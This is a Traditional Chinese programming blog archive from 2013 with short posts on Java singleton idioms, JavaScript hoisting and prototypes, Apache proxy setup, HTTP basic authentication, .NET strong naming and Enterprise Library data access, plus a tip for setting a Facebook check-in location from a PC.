12/20/2013
2:21:00 PM 0

使用 PC 在 Facebook 打卡

1. 安裝  Chrome 瀏覽器

2. 到 Chrome 線上應用程式商店安裝  Manual Geolocation

安裝完成後再網址列右方會多了一個圖示,按下圖示開始設定位置
3. 設定 Manual Geolocation
  • 按下 enable, 打開定位功能

  • 輸入打卡地點

4. 接著到行動版的 Facebook 打卡就行囉, 行動版網址 http://m.facebook.com
12/18/2013

Configuring Apache 2.0 as a Forward Proxy Server

Edit the Apache httpd.conf Configuration File

1.設定 Port
Listen 8080
2.設定 Module
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_connect_module modules/mod_proxy_connect.so
LoadModule proxy_http_module modules/mod_proxy_http.so
LoadModule proxy_ftp_module modules/mod_proxy_ftp.so
前三項為必要Module, 後面可依需求增減

3.設定 VirtualHost
<VirtualHost *:8080>
 ProxyRequests On
 ProxyVia On
 <Proxy *>
  Order deny,allow
  Deny from all
  Allow from 192.168.0.0/16
 </Proxy>
</VirtualHost>
4.重新啟動 server 即設定完成


Windows 版本的 Chrome Browser 獨自設定 Proxy Server 的方式如下
Chrome.exe --proxy-server=192.168.0.1:8080
12/04/2013
3:43:00 PM 0

Java Enum Singleton

Java 在 1.5 版本之後開始支援 Enumerated type,Enum 的用法可參考下面連結

http://www.ajaxonomy.com/2007/java/making-the-most-of-java-50-enum-tricks
http://javarevisited.blogspot.tw/2011/08/enum-in-java-example-tutorial.html
http://docs.oracle.com/javase/1.5.0/docs/guide/language/enums.html

使用 enum 實作 singleton,是一個不錯的方式,因 enum instance 預設狀態下就是 thread safe 的,所以使用 enum 來實作 singleton 是相當簡便的

範例
public enum Singleton {
    INSTANCE;
    public void someOperation() { .. }
}
參考
http://www.informit.com/articles/article.aspx?p=1216151&seqNum=3
12/03/2013

Initialization-on-demand holder idiom

實做 Singleton 的方法有很多種,Java 1.5 以上可以使用 Double-checked locking,但使用鎖會影響程式效率,如何不用鎖又能達到 Singleton 呢?  Initialization-on-demand holder 就是一種常見的程式技巧,以下列出 Eager initialization, Static block initialization 與 Initialization-on-demand holder 做比較
public class EagerInitialization {

    public static final EagerInitialization INSTANCE =  new EagerInitialization(); 
    public static final String TEST = "test";
 
    private EagerInitialization() {
        System.out.println("constructor");
    }
 
    public static EagerInitialization getInstance() {
        System.out.println("getInstance");
        return INSTANCE;
    }
}
public class StaticBlockInitialization {

    public static StaticBlockInitialization instance; 
    public static final String TEST = "test";
 
    private StaticBlockInitialization() {
        System.out.println("constructor");
    }
 
    static {
        try {
            instance = new StaticBlockInitialization();
        } 
        catch (Exception e) {
            e.printStackTrace();
        }
    }
   
    public static StaticBlockInitialization getInstance() {
        System.out.println("getInstance");
        return instance;
    }

}
public class InitializationOnDemandHolder {

    public static final String TEST = "test";
 
    private InitializationOnDemandHolder() {
        System.out.println("constructor");
    }

    private static class SingletonHolder {
        public static final InitializationOnDemandHolder INSTANCE = new InitializationOnDemandHolder();    
    }
 
    public static InitializationOnDemandHolder getInstance() {
        System.out.println("getInstance");
        return SingletonHolder.INSTANCE;
    }
}
import org.junit.Test;

public class TestRun {
    @Test
    public void testEagerInitialization() {
        System.out.println("testEagerInitialization start");
        System.out.println(EagerInitialization.TEST);
        EagerInitialization.getInstance();
        System.out.println("testEagerInitialization end");
        System.out.println("------------------------------------");
    }

    @Test
    public void testStaticBlockInitialization() {
        System.out.println("testStaticBlockInitialization start");
        System.out.println(StaticBlockInitialization.TEST);
        StaticBlockInitialization.getInstance();
        System.out.println("testStaticBlockInitialization end");
        System.out.println("------------------------------------");
    }

    @Test
    public void testInitializationOnDemandHolder() {
        System.out.println("testInitializationOnDemandHolder start");
        System.out.println(InitializationOnDemandHolder.TEST);
        InitializationOnDemandHolder.getInstance();
        System.out.println("testInitializationOnDemandHolder end");
        System.out.println("------------------------------------");
    }
}
output

testEagerInitialization start
test
constructor
getInstance
testEagerInitialization end
------------------------------------
testStaticBlockInitialization start
test
constructor
getInstance
testStaticBlockInitialization end
------------------------------------
testInitializationOnDemandHolder start
test
getInstance
constructor
testInitializationOnDemandHolder end
------------------------------------

由此可看出 Initialization-on-demand holder 的 lazy initialization 效果是三種方法中最好的
如果我們把上面程式裡的 TEST 變數 關鍵字 final 拿掉
public static final String TEST = "test";
修改成
public static String TEST = "test";
除了 testInitializationOnDemandHolder 輸出結果一樣之外, 其他兩個的輸出次序會改變, 進而影響到 lazy initialization 的結果,以下是拿掉 final 關鍵字的輸出結果

testEagerInitialization start
constructor
test
getInstance
testEagerInitialization end
------------------------------------
testStaticBlockInitialization start
constructor
test
getInstance
testStaticBlockInitialization end
------------------------------------
testInitializationOnDemandHolder start
test
getInstance
constructor
testInitializationOnDemandHolder end
------------------------------------

當存取到非 final 的 static 變數時, JVM 會立刻初始化其他 static 變數,因此使用 Eager initialization, Static block initialization 必須要注意到這個問題,相形之下 Initialization-on-demand holder 的好處就顯現出來了,就算其他程式設計師在程式中添加其他變數也不會影響到程式輸出結果

參考
http://en.wikipedia.org/wiki/Singleton_pattern
12/02/2013

Java Double-check locking idiom for lazy initialization of fields

注意 : Java 1.5 以上版本才可使用 雙檢鎖, 並要搭配 volatile 關鍵字
private static final Object LOCK = new Object();
private static volatile Singleton instance;

public static Singleton getInstance() {

    Singleton result = instance;
    if (result == null) {
        synchronized (LOCK) {
            result = instance;
            if (result == null) {
                instance = result = new Singleton();
            }
        }
    }
    return result;
}
區域變數 result 看起來是不必要的,但在某些版本的JVM,可以提升執行效率

參考
http://en.wikipedia.org/wiki/Double-checked_locking
http://zh.wikipedia.org/wiki/%E5%8F%8C%E9%87%8D%E6%A3%80%E6%9F%A5%E9%94%81%E5%AE%9A%E6%A8%A1%E5%BC%8F
https://github.com/resteasy/Resteasy/blob/master/jaxrs/jaxrs-api/src/main/java/javax/ws/rs/ext/RuntimeDelegate.java
11/15/2013
2:49:00 PM 0

Method Chaining

Method Chaining 是一種API的設計方式,讓開法者可以直覺性思考並更方便使用所設計的功能,jQuery 裡就大量地使用這樣的設計

而 Quartz 2.x 版之後就改用 method chaining 的設計方式
以下為 Quartz 2.2 的簡易使用範例, 設計API的方式可作為程式寫作參考
JobDetail job = JobBuilder.newJob(Class.forName("MyJob").asSubclass(Job.class))
    .withIdentity("JobName", "JobGroup")
    .build();

TriggerKey triggerKey = TriggerKey.triggerKey("TriggerName", "TriggerGroup");

CronTrigger trigger = TriggerBuilder.newTrigger()
    .withIdentity(triggerKey)
    .withSchedule(CronScheduleBuilder.cronSchedule("0/20 * * * * ?"))
    .build();

Scheduler sched = new StdSchedulerFactory().getScheduler();
sched.scheduleJob(job, trigger);

sched.start();//scheduler start

sched.unscheduleJob(triggerKey);//unschedule Job

sched.shutdown(true);//shutdown the scheduler
11/12/2013
4:00:00 PM 0

Integrate the Jad Decompiler Plug-in into Eclipse

1.Download Jad
http://www.kpdus.com/jad.html

2.Download Jad Eclipse plugin
http://sourceforge.net/projects/jadclipse

3.Copy plugin file to Eclipse plugin folder
net.sf.jadclipse_X.X.X.jar to eclipse\plugins folder

4.Restart Eclipse

5.Configure Eclipse















6.Set File Associations
10/23/2013
5:50:00 PM 0

Javascript 判斷 property 是否存在

在 Javascript 常有人使用 if(car.engine) 來判斷是 property 是否存在, 雖然方便, 但會有出錯的風險, 因為在使用 if(car.engine) 時, 如果不是 boolean 時, Javascript 內部會做一個自動轉型的動作, 因此 if (car.engine) 就等於 if (Boolean(car.engine)),而 car.engine 是 undified 的狀況下, if 測試會回傳 fasle, 但是當 car.engine 其值為 null, fasle, 0, "" 也都會回傳 false

所以測試 property 是否存在, 比較正確的做法是使用 hasOwnProperty, 使用上要特別注意的是 hasOwnProperty 並不會到 prototype chain 去尋找, 只會檢查本身是否有定義 property
> var car = {};
undefined
> Boolean(car.engine);
false
> car.engine = "e1";
"e1"
> Boolean(car.engine);
true
> car.engine = 0;
0
> Boolean(car.engine);
false
> Boolean(null);
false
> Boolean(0);
false
> Boolean("");
false
> car.hasOwnProperty("engine");
true
> delete car.engine;
true
> car.hasOwnProperty("engine");
false
5:47:00 PM 0

Javascript null & undefined

1. null 定義 : 基本型別, 不代表任何值
primitive value that represents the intentional absence of any object value

null 參與數值運算時會轉成 0
> 123 + null
123
> 123 * null
0
2.undefined 定義 : 基本型別, 宣告後沒有指定值
primitive value used when a variable has not been assigned a value

undefined 參與數值結果都是 NaN
> 123 + undefined
NaN
> 123 * undefined
NaN

因此在 Javascript 中 null 和 undefined 是不一樣的東西, 使用上要注意
> typeof null 
"object"  //ECMAScript 6 後改成 primitive
> typeof undefined
"undefined"
> null == undefined //兩個等號測試結果會是 true
true
> null === undefined
false
10/16/2013
1:37:00 PM 0

Strong-Named Assemblies 簡介

Strong Name 主要是為 .NET Framework 軟體組件開發者設計的一種機制, 除非是軟體公司, 一般使用者應該不太會用到這個功能

主要概念與使用方式,用故事的方式說明

1.Super軟體公司開發出一個超強函式庫, 並使用 Strong Name Compile 出 Super.dll

如何產生 Strong Name 的組件,
可參考 http://msdn.microsoft.com/en-us/library/8wxf689z.aspx
或在 Visual Studio 使用 Signing 功能
其概念就是利用憑證簽署的方式, 對 Super.dll 做簽署, 最大的好處就是檔案無法竄改

寫 ASP.NET 的開發者在 Web.config 一定有看過類似下面的字串
System.Web.Mvc, Version=2.0.0.0, Culture=neutral, PublicKeyToken=31BF3856AD364E35"
PublicKeyToken 就是用來識別組件是否有效的一個資訊

另外組件要安裝到 GAC(Global Assembly Cache), Strong Name 是安裝的必要條件!!

2.Grace買了Super的函式庫,並且將這函式庫使用在開發專案中
引用後我們可以在 Visual Studio 看到 Properties 視窗 Strong name 屬性設定為 true

識別組件是否使用 Strong Name 的方法 http://blog.codingoutloud.com/2010/03/13/three-ways-to-tell-whether-an-assembly-dl-is-strong-named

3.Grace將專案開發完成,並計畫向客戶展示這超炫的功能, 不懷好意的同事Jeff想要破壞這次Demo, 因此換掉了Super.dll, 但是因為 Super.dll 有使用 Strong Name, Grace 的專案 Compile 後的執行檔內已有包含 Super.dll 的 Strong Name 資訊, 因此 Super.dll 如果被抽換掉, 程式一執行就會拋出 FileLoadException

例外狀況資訊:
    例外狀況型別: FileLoadException
    例外狀況訊息: 無法載入檔案或組件 'Super.Library, Version=2.0.0.0, Culture=neutral, PublicKeyToken=60016b5bca463827' 或其相依性的其中之一。 找到的組件資訊清單定義與組件參考不符。 (發生例外狀況於 HRESULT: 0x80131040)

總結
使用 Strong Name 可避免檔案被竄改, 並可確保更新版本來自同一廠商, 提高了安全性
廣義來看有助於避免 DLL Hell
可參考 http://www.iiiedu.org.tw/knowledge/knowledge20021130_1.htm
http://msdn.microsoft.com/en-us/library/ms973843.aspx
10/11/2013
4:28:00 PM 0

HTTP basic access authentication

HTTP basic access authentication 是一個很基本的認證方式, 安全性差, 採用 Base64 編碼傳送帳號密碼

認證流程

1.瀏覽器對 Server 端發出請求

2.Server 端檢查該 User 尚未認證, 回應 Status Code 401 和 WWW-Authenticate 資訊在 header 中, 告訴瀏覽器需做基本認證

HTTP/1.0 401 Unauthorised
Content-Type: text/html; charset=UTF-8
WWW-Authenticate: Basic realm="TestSite"
Connection: Close
Content-Length: 24

3.使用者在瀏覽器畫面鍵入 User Name 和 Password 送出請求, 送出的 header 中, 接續在 Authorization: Basic 之後的文字, 就是帳號和密碼的 Base64 編碼

GET / HTTP/1.1
Host: www.example.com
User-Agent: Mozilla/5.0
Accept: text/html
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Authorization: Basic QWRDSpc3RyYXRVVVVSU=

4.Server 端認證成功則回應 Status Code 200, 若認證失敗, 則回到步驟 2

HTTP/1.0 200 OK
Content-Type: text/html; charset=UTF-8
Connection: Keep-Alive
Content-Length: 989

有些 Server 在認證失敗時, 會修改 Status Code 401 的訊息, Reason Phrase 會因 Server 實作而有所不同

HTTP/1.0 401 Invalid credentials
Content-Type: text/html; charset=UTF-8
WWW-Authenticate: Basic realm="TestSite"
Connection: Close
Content-Length: 0

5.若使用者在認證視窗按下取消按鈕, 同樣回應 Status Code 401, 但 Reason Phrase 改為 Access Denied, 訊息部分會因 Server 實作而有所不同

HTTP/1.0 401 Access Denied
Content-Type: text/html; charset=UTF-8
WWW-Authenticate: Basic realm="TestSite"
Connection: Close
Content-Length: 24

HTTP 協定允許自定 Reason Phrase, 詳細可參考 http://www.w3.org/Protocols/rfc2616/rfc2616-sec6.html#sec6.1.1

使用C#程式做自動認證登入
String userName = "Administrator";
String password = "password";
String header = "Authorization: Basic " + Convert.ToBase64String(Encoding.ASCII.GetBytes(userName + ":" + password)) + System.Environment.NewLine;

webBrowser.Navigate(String.Format("http://{0}:{1}@127.0.0.1", userName, password), null, null, header);
10/07/2013
3:56:00 PM 0

將 ASP .NET MVC 2 deploy 到 IIS6

1.首先當然要確認 ASP .NET 版本


2.新增副檔名對應(主目錄頁簽 \ 設定按鈕)

執行檔選擇對應版本的檔案 C:\windows\microsoft.net\framework\v2.0.50727\aspnet_isapi.dll

3.設定萬用字元應用程式對應

執行檔選擇對應版本的檔案 C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_isapi.dll
確認該檔案是否存在不可打勾

參考
Using ASP.NET MVC with Different Versions of IIS
10/01/2013

Amdahl's law

wikipedia => http://zh.wikipedia.org/zh-tw/%E9%98%BF%E5%A7%86%E8%BE%BE%E5%B0%94%E5%AE%9A%E5%BE%8B

假設我們用時間來做為評估效能的指標,如果要提升效能,最有效益的方式,就是直接改善執行時間最長的那個部份

例如

台灣用電的比例
工業    52%
服務業  19%
住宅    18%
其它    11%

如果要求住宅隨手關燈,購買節能家電,各種節電措施,就算改善了2%,對整體用電的改善,還是遠遠不及佔用電最大比例的工業用電改善1%
9/02/2013

[Enterprise Library] Data Access Application Block - NonQuery

1. 在未使用 Enterprise Library 之前原本的做法
public void InsertCust1(String connName)
{
    string sql = @"INSERT INTO CUSTOMERS (customerid, companyname, contactname, contacttitle, "
                    + "address, city, region, postalcode, country, phone, fax) "
                    + "VALUES (:a,:b,:c,:d,:e,:f,:g,:h,:i,:j,:k) ";

    String connString = ConfigurationManager.ConnectionStrings[connName].ConnectionString;

    using (OracleConnection connection = new OracleConnection(connString))
    {
        connection.Open();
        OracleTransaction trans = connection.BeginTransaction();

        try
        {
            OracleCommand cmd = connection.CreateCommand();
            cmd.CommandText = sql;
            cmd.CommandType = CommandType.Text;
            cmd.Transaction = trans;

            for (int i = 97; i < 108; i++)
            {
                char c = (char)i;
                cmd.Parameters.Add(":" + c, c);
            }

            cmd.ExecuteNonQuery();

            trans.Commit();
        }
        catch
        {
            trans.Rollback();
        }
    }
}
2. 使用 Enterprise Library 後, 程式碼沒有精簡很多, 但可避免程式碼和特定資料庫的 connection 實作產生依賴, 仍值得一用
public void InsertCust2(String connName)
{
    string sql = @"INSERT INTO CUSTOMERS (customerid, companyname, contactname, contacttitle, "
                    + "address, city, region, postalcode, country, phone, fax) "
                    + "VALUES (:a,:b,:c,:d,:e,:f,:g,:h,:i,:j,:k) ";

    Database db = DatabaseFactory.CreateDatabase(connName);

    using (DbConnection dbConnection = db.CreateConnection())
    {
        dbConnection.Open();
        DbTransaction trans = dbConnection.BeginTransaction();

        try
        {
            DbCommand cmd = dbConnection.CreateCommand();
            cmd.CommandText = sql;
            cmd.CommandType = CommandType.Text;

            for (int i = 97; i < 108; i++)
            {
                char c = (char)i;
                db.AddInParameter(cmd, ":" + c, DbType.String, c);
            }

            db.ExecuteNonQuery(cmd, trans);

            trans.Commit();
        }
        catch
        {
            trans.Rollback();
        }
    }            
}

App.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connStrings>
    <add name="testdb" connString="Data Source=test;User Id=testdb;Password=testdb;" providerName="Oracle.DataAccess.Client" />
  </connStrings>
</configuration>
8/22/2013
2:54:00 PM 0

[Enterprise Library] Data Access Application Block - Query

最近在瀏覽網路文章時發現微軟的 Enterprise Library, 雖然不是什麼新東西(2005年就發表第一版), 目前的版本是 6.0(April 2013),但發現 Enterprise Library 竟然是 open source 的, 看了一些範例程式發現裡頭大量使用一些 Design Pattern 來簡化目前程式,激起了我研究他的興趣, 因為工作的關係現在比較少機會接觸到微軟的程式, 但他裡頭的設計方式是值得學習和研究的, 想要了解這 Library 第一步驟當然要先學會如何使用它, 先從連接資料庫的部分開始

首先 Refrences 加入 Microsoft.Practices.EnterpriseLibrary.Data

using directive
using Microsoft.Practices.EnterpriseLibrary.Data;
在不使用 LINQ 和 Entity Framework 的狀況下,如果要將資料庫裡的資料轉變成為強型別的物件

1. 在未使用 Enterprise Library 之前原本的做法
public List<Customer> FindCustById1(String connName, String id)
{
    String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
    String connString = ConfigurationManager.ConnectionStrings[connName].ConnectionString;

    using (OracleConnection connection = new OracleConnection(connString))
    using (OracleCommand cmd = new OracleCommand(sql, connection))
    {

        connection.Open();

        cmd.Parameters.Add("ID", id);

        List<Customer> data = new List<Customer>();

        using (OracleDataReader reader = cmd.ExecuteReader(CommandBehavior.CloseConnection))
        {
            while (reader.Read())
            {
                Customer item = new Customer();

                item.CustomerId = reader["CUSTOMERID"] == DBNull.Value ? "" : reader["CUSTOMERID"].ToString();
                item.CompanyName = reader["COMPANYNAME"] == DBNull.Value ? "" : reader["COMPANYNAME"].ToString();
                item.Fax = reader["FAX"] == DBNull.Value ? "" : reader["FAX"].ToString();
                item.Address = reader["ADDRESS"] == DBNull.Value ? "" : reader["ADDRESS"].ToString()
                data.Add(item);
            }
        }
        return data;
    }
}
2. 使用 Enterprise Library,主要精簡了取 Connection 和 物件換的部分,將 Coonection 的建立和關閉封裝在 Database 物件內, 並利用反射將 reader 取得的資料放入 Customer 內
public List<Customer> FindCustById2(String connName, String id)
{
    String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
    Database db = DatabaseFactory.CreateDatabase(connName);

    using (DbCommand cmd = db.GetSqlStringCommand(sql))
    {
        db.AddInParameter(cmd, "ID", DbType.String, id);

        List<Customer> data = new List<Customer>();

        using (IDataReader reader = db.ExecuteReader(cmd))
        {
            while (reader.Read())
            {
                Customer item = MapBuilder<Customer>.BuildAllProperties().MapRow(reader);

                data.Add(item);
            }
        }

        return data;
    }
}
3. 使用 Enterprise Library 進階版, 更進一步的將 reader 轉成物件的部分簡化了, 但是要多寫一個 class, C# 目前(2013年)似乎無法用匿名的方式 implements interface
public List<Customer> FindCustById3(String connName, String id)
{
    String sql = @"SELECT * FROM CUSTOMERS WHERE CUSTOMERID = :ID";
    Database db = DatabaseFactory.CreateDatabase(connName);

    DataAccessor<Customer> accessor = db.CreateSqlStringAccessor<Customer>(sql, new MyParameterMapper());
    IEnumerable<Customer> result = accessor.Execute(id);

    return new List<Customer>(result);
}
  
class MyParameterMapper : IParameterMapper
{
    public void AssignParameters(DbCommand command, object[] parameterValues)
    {
        DbParameter parameter = command.CreateParameter();
        parameter.ParameterName = ":ID";
        parameter.Value = parameterValues[0];
        command.Parameters.Add(parameter);
    }
}
Enterprise Library 的 Database 物件感覺跟 Spring 的 JdbcTemplate 有點類似, 兩者都將 connection 的開關封裝起來, 並可自定 RowMapper 物件, 建立轉換的規則

使用 Enterprise Library 查詢 Table 內全部資料, 在沒有查詢條件的狀況下程式碼更精簡了
public List<Customer> FindAllCust(String connectiopnName)
{
    String sql = @"SELECT * FROM CUSTOMERS";
    Database db = DatabaseFactory.CreateDatabase(connectiopnName);

    IEnumerable<Customer> result = db.ExecuteSqlStringAccessor<Customer>(sql);

    return new List<Customer>(result);
}
總結 : 使用 Enterprise Library 優點
1.簡化存取資料庫的程式碼
2.封裝 connction 開關動作,避免忘記關閉的情形
3.將 conneection 物件包裹起來, 避免程式碼和特定資料庫的 connection 實作產生依賴, 在使用標準的 ANSI SQL 情形下, 只要改改 config 就可以達到抽換不同種類資料庫的目標

Customer.cs
using System;

namespace TestEnterpriseLibrary
{
    class Customer
    {
        public String CustomerId 
        {
            get;
            set;
        }

        public String CompanyName
        {
            get;
            set;
        }

        public String Fax
        {
            get;
            set;
        }

        public String Address
        {
            get;
            set;
        }
    }
}
App.config
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <connStrings>
    <add name="testdb" connString="Data Source=test;User Id=testdb;Password=testdb;" providerName="Oracle.DataAccess.Client" />
  </connStrings>
</configuration>
8/16/2013
1:56:00 PM 0

JavaScript function 的兩種宣告方式

寫法一
function subtract(a, b){
    return a - b;
};
寫法二
var subtract = function (a, b) {
    return a - b;    
};

這是兩種不同的 function 宣告方式

第一種寫法是 Function Declaration

產生 execute context 階段時 Function Declaration 就已存到 VO(Variable Object), 所以在執行階段(Execution Stage), 函式就已先存在, 造成的結果是程式呼叫的位置可以比程式宣告更前面
var result = subtract(1,2);

function subtract(a, b){
    return a - b;
};

第二種寫法是 Function Expression

Function Expression 寫法在執行階段才建立,並且不會被存在變數物件(VO)中, 可依照條件建立 Function Expression
var num = 11;

var test = (num % 2 == 0
    ? function () { alert("The number is even."); }
    : function () { alert("The number is odd."); }
);
  
test();

兩種寫法的差異只有在執行階段產生先後的差別, 而效能會根據所使用的 Javascript engine 而有不同的結果, 至於哪種寫法比較好? 我認為要根據個人習慣和程式碼的易讀和維護來做選擇了

國外高手做的 function declaration vs function expression 效能測試網頁, 有興趣可以玩玩看
http://jsperf.com/function-declaration-vs-function-expression

做個綜合練習
function outside1(){
    function inside1() {
        return 0;
    }
    return inside1();
    function inside1() {
        return 1;
    }
}
alert(outside1());


alert(outside2());
function outside2(){
    var inside2 = function() {
        return 0;
    };
    return inside2();
    var inside2 = function() {
        return 1;
    };
}


function outside3(){
    return inside3();
    var inside3 = function() {
        return 0;
    };
    var inside3 = function() {
        return 1;
    };
}
alert(outside3());
執行結果  1,0,TypeError: undefined is not a function

網路上看到一個有趣的例子 http://www.adequatelygood.com/JavaScript-Scoping-and-Hoisting.html
var a = 1;
function b() {
    a = 10;
    return;
    function a() {}
}
b();
alert(a);
執行結果是1

這例子直覺上應該是印出10, 因為 function b 第一行就改變了全域變數 b, 這例子利用 Function Declaration  在執行階段前就已產生的特性, 讓人稍不注意就產生了混淆

原因在前面有說過 function Declaration 會造成執行階段前函式就已存在, 所以處理 function b 的 function context 時, 區域變數 a 就已經先被建立起來, 而這時此變數指向一個函式,當執行階段處理 a = 10; interpreter 會先檢查目前的 execute context 有沒有這個變數, 結果發現了 function a, 因此把 10 指定給他, 所以 a = 10, 是改變了區域變數 a  而不是全域變數的 a, 在 a = 10 前後加上 alert 就可證明這一點

這下面這種狀況就不可使用 Function Declaration 寫法
if (true) {
  function sayHello() {
    return 'Hello 1';
  }
}
else {
  function sayHello() {
    return 'Hello 2';
  }
}
sayHello();
必須使用 Function Expression 的寫法
var sayHello;
if (true) {
  sayHello = function() {
    return 'Hello 1';
  };
}
else {
  sayHello = function() {
    return 'Hello 2';
  };
}
sayHello();
8/14/2013
3:03:00 PM 0

Javascript execution context

什麼是 execution context ?

一個 execution context 包含了一些資訊, 而這些資訊在程式執行期間是必要的, 而這些資訊包含
  • LexicalEnvironment
  • VariableEnvironment
  • ThisBinding
當 Javascript 程式執行時, 會產生 execution context, 每段可執行的程式都有其對應的 execution context, 運作中的 execution contexts 像一個 logical stack, 而最上層的 Stack 就是正在執行的 execution context


產生 Execution Context 依照程式的不同,而會有三類不同的狀況

 1. Entering Global Code
var i = 0;
function test(){console.log("test");}


2. Entering Function Code
function factorial(num)
{
    if (num < 0) return -1;
    else if (num == 0) return 1;
 
    var result = num;
    while (num-- > 2) {
        result *= num;
    }
    return result;
}

factorial(10);
第一次呼叫 factorial


遞迴呼叫(第二次之後), 要注意的是每次 Return 時會退出當時的 execution context, 也就是會從 stack pop 出去, 所以遞迴呼叫並不會造成 stack 一直往上堆


 3. Entering Eval Code
當 eval 執行, 前一個 active execution context, 會被當成 calling context 的參考
> eval('var x = 22');
undefined
> x
22
> this.x
22
> window.x
22
> eval('(function() {var y=33; console.log(y);})()');//前一個 active execution context 是匿名 function
33
undefined
> y
ReferenceError: y is not defined

參考資料
http://www.ecma-international.org/ecma-262/5.1/
8/02/2013
4:53:00 PM 0

Javascript Prototype Chain

Javascript 使用 prototype 來達到類似其他語言的繼承概念, 要了解 Javascript 的繼承, 首先要了解 prototype chain, 當我們建立一個 Javascript 物件, 並使用 Javascript 屬性時, 會先從物件內部所擁有的屬性開始尋找, 如果找不到屬性的名稱,就會從 prototype 所指向的物件繼續搜尋, 一層一層的往內搜尋, 這就是原型鏈搜尋

首先我們使用 function 來建構一個物件 (Object Constructor)
function Earth(){};
接著建立一個物件實例(Object Instances)
var e1 = new Earth();
建立實例的過程中不單單是設定 name 屬性, 還把 Employee 所繼承的物件帶給 e1

new 的動作相當於
    var e1 = {};
    e1.__proto__ = Earth.prototype;//__proto__  Non-standard
    Earth.call(e1);
使用 Chrome Developer Tools 可看出 e1 的屬性和方法










測試 e1.constructor (關於 constructor 參考 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/constructor)
> e1.constructor
[Function: Earth]
e1 沒有 constructor 屬性, 所以往內部查找 __proto__ 正好有這屬性, 所以輸出 __proto__.constructor, 由此可推論  e1.constructor == e1.__proto__.constructor
> e1.constructor == e1.__proto__.constructor
true
> Earth.prototype.constructor == e1.constructor
true
從上面的例子可看出 prototype 屬性會決定繼承的物件, 改變 prototype 屬性後, 再 new 出來的物件繼承關係也跟著改變


接下來說明 instanceof, instanceof 在 Java 中也有這個功能, 作用也類似,
Javascript 的 instanceof 會從 prototype chain 查找, 是否包含建構物件的 prototype, MDN 中有實做出類似 instanceof  內部運作的方式, 可參考 https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Details_of_the_Object_Model?redirectlocale=en-US&redirectslug=JavaScript%2FGuide%2FDetails_of_the_Object_Model#Determining_instance_relationships

做個綜合測試
> function X(){}
undefined
> X.constructor //所有 function 都是 Function object
function Function() { [native code] }
> X.prototype.constructor //參考到 X
function X(){}
> var o1 = new X()
undefined
> o1 instanceof X
true
> o1.constructor //等於 o1.__proto__.constructor
function X(){}
> X.prototype = [] //改變 X.prototype 參考到陣列
[]
> var o2 = new X()
undefined
> o1 instanceof X // 相當於 o1.__proto__ == X.prototype
false
> X.prototype.isPrototypeOf(o1);
false
> o2 instanceof X // 相當於 o2.__proto__ == X.prototype
true
> o1 instanceof Array
false
> o2 instanceof Array
true
> X.constructor
function Function() { [native code] }
> X.prototype.constructor
function Array() { [native code] }
> o1.constructor
function X(){}
> o2.constructor
function Array() { [native code] }
所有 function 都是 Function object 的實例, 所以 X.constructor 指向 Function, X.prototype.constructor 指向 X,
建立物件會沿著 prototype chain 尋找, 因此
 var o1 = new X();
相當於
    var o1 = {};
    o1.__proto__ = X.prototype;//reference X
    X.call(o1);
而 X.prototype = []; 改變了 prototype 的參考對象, 因此 X 的 prototype chain 改變了
    var o2 = {};
    o2.__proto__ = X.prototype;//reference Array
    X.call(o2);
要怎麼讓 o1 instanceof X 變成 true 呢? 只要讓 o1.__proto__ 和 X.prototype 一致就行了
> o1.__proto__ = X.prototype;
[]
> o1 instanceof X;
true
> X.prototype.isPrototypeOf(o1);
true
7/31/2013
4:52:00 PM 0

Javascript Constructor Property

Javascript constructor 是建構該物件之執行個體的函式參考,所以當建立該物件時就會賦予 constructor 屬性值
function Employee(name, department)
{
    this.name = name;
    this.department = department;
}

var e1 = new Employee('Albert', 'accounting');
var e2 = new Employee('Grace', 'sales');
console.log(e1 instanceof Employee);
console.log(e2 instanceof Employee);
console.log(e1.constructor == Employee);
console.log(e2.constructor == Employee);
output
--------------------------------------------
true
true
true
true

但如果使用 constructor 屬性來判斷 constructor function 是不安全的, 因為 constructor 是可以被修改的
function NewType(){};

e1.constructor = NewType;
console.log(e1 instanceof Employee);
console.log(e1 instanceof NewType);
console.log(e1.constructor == Employee);
console.log(e1.constructor == NewType);
console.log(e1.constructor instanceof Function);
output
--------------------------------------------
true
false
false
true
true
var newTypeInstance = new NewType();
e2.constructor = newTypeInstance;
console.log(e2 instanceof Employee);
console.log(e2 instanceof NewType);
console.log(e2.constructor == Employee);
console.log(e2.constructor == NewType);
console.log(e2.constructor instanceof Function);
console.log(e2.constructor == newTypeInstance);
output
--------------------------------------------
true
false
false
false
false
true

Javascript 除了基本型別(primitive types)之外,其餘都是物件,因此都有constructor屬性
console.log(this.constructor);
console.log(RegExp.constructor);
console.log(Date.constructor);
console.log("xyz".constructor);
output
--------------------------------------------
function Window() { [native code] }
function Function() { [native code] }
function Function() { [native code] }
function String() { [native code] }

Wrapper Object 上場
var num = 1;
console.log(num.constructor);
output
--------------------------------------------
function Number() { [native code] }

一般建構函式不需要有 return, 當有設定回傳值時, 會改變 constructor 所參考的值
1. 回傳值是物件 : 會改變 constructor 所參考的值,並且影響 instanceof 判斷結果
2. 回傳值是基本型別 : 不影響 constructor 所參考的值

function Book1(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return [isbn, name];
}
var b1 = new Book1('123', 'Book1');
console.log(b1 instanceof Book1);
console.log(b1 instanceof Array);
console.log(b1.constructor == Book1);
console.log(b1.constructor == Array);
console.log("###############################");
function Book2(isbn, name)
{
    this.isbn = isbn;
    this.name = name;
 
    return true;
}
var b2 = new Book2('456', 'Book2');
console.log(b2 instanceof Book2);
console.log(b2 instanceof Array);
console.log(b2.constructor == Book2);
console.log(b2.constructor == Array);
output
--------------------------------------------
false
true
false
true
###############################
true
false
true
false

Set Spring Property File Encoding

<bean id="contextPropertyConfigurer"
    class="org.springframework.beans.factory.config.PropertyPlaceholderConfigurer">
     <property name="locations">
         <list>
             <value>classpath:test.properties</value>
         </list>
     </property>
     <property name="fileEncoding" value="UTF-8"/>
</bean>
<bean id="sysConfig" 
